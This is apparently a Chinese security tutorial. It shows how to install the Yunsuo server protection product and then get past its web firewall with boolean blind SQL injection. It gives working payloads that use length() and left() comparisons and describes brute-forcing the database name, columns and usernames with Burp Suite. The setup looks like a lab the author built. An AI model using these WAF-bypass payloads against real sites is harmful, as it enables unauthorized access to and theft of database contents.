一、云锁的部署
1、访问
云锁官网-云锁_服务器必备安全软件_主机安全_网站安全_rasp_微隔离_cwpp云工作负载保护平台_云锁安全https://yunsuo.qianxin.com/cloud/download 下载服务器端+pc端
2、服务器端安装
点击下一步即可,可不用注册
3、启动pc端程序
输入服务器端主机ip、系统账号、系统密码进行登录
4、开启web防护
5、测试
输入一个sql注入语句,发现被拦截了
二、绕过
使用盲注
1、测试
发现,对于or 和= 并没有进行过滤
2、数据库名
接下来,我们尝试破解数据库名,开始时,我们使用之前我们先用简单的字符串测试能否正确返回长度
?id=-1'or length('aaa')=3--+
?id=-1'or length('aaa')=2--+
正确和错误有不同回显,尝试布尔盲注
- 接着使用burpsite的爆破模块获得数据库长度,这里不多演示,详细请看之前的文章:sql注入(MySQL)
- 获得数据库长度为8
获取数据库名
这里substr函数没有被过滤,同样使用burpsite进行爆破
3、获取字段
接下来,按照常规操作,我们应该获取表名,但是尝试后发现过滤掉了许多关键字。所以我们这里使用另一种方法。
select *from users where id=-1' or left((username),2)='ab'--+
这是我们输入的数据在查找时的语句。,那么我们在输入一个本不存在的字段时,就会出现错误
通过这个,我们便可以判断出,哪些字段属于该表。这里通过爆破可以获得
4、获取数据
通过之前的步骤,我们知道了其中一个字段是username。接下来,我们使用相同的方法进行获取
id=-1'or left((username),1)='a'--+
这里同样使用爆破,获取到第一位字符后,继续获取后面的
前两位
id=-1'or left((username),2)='ab'--+
前三位
id=-1'or left((username),3)='ada'--+
以此类推,可以获取到更多内容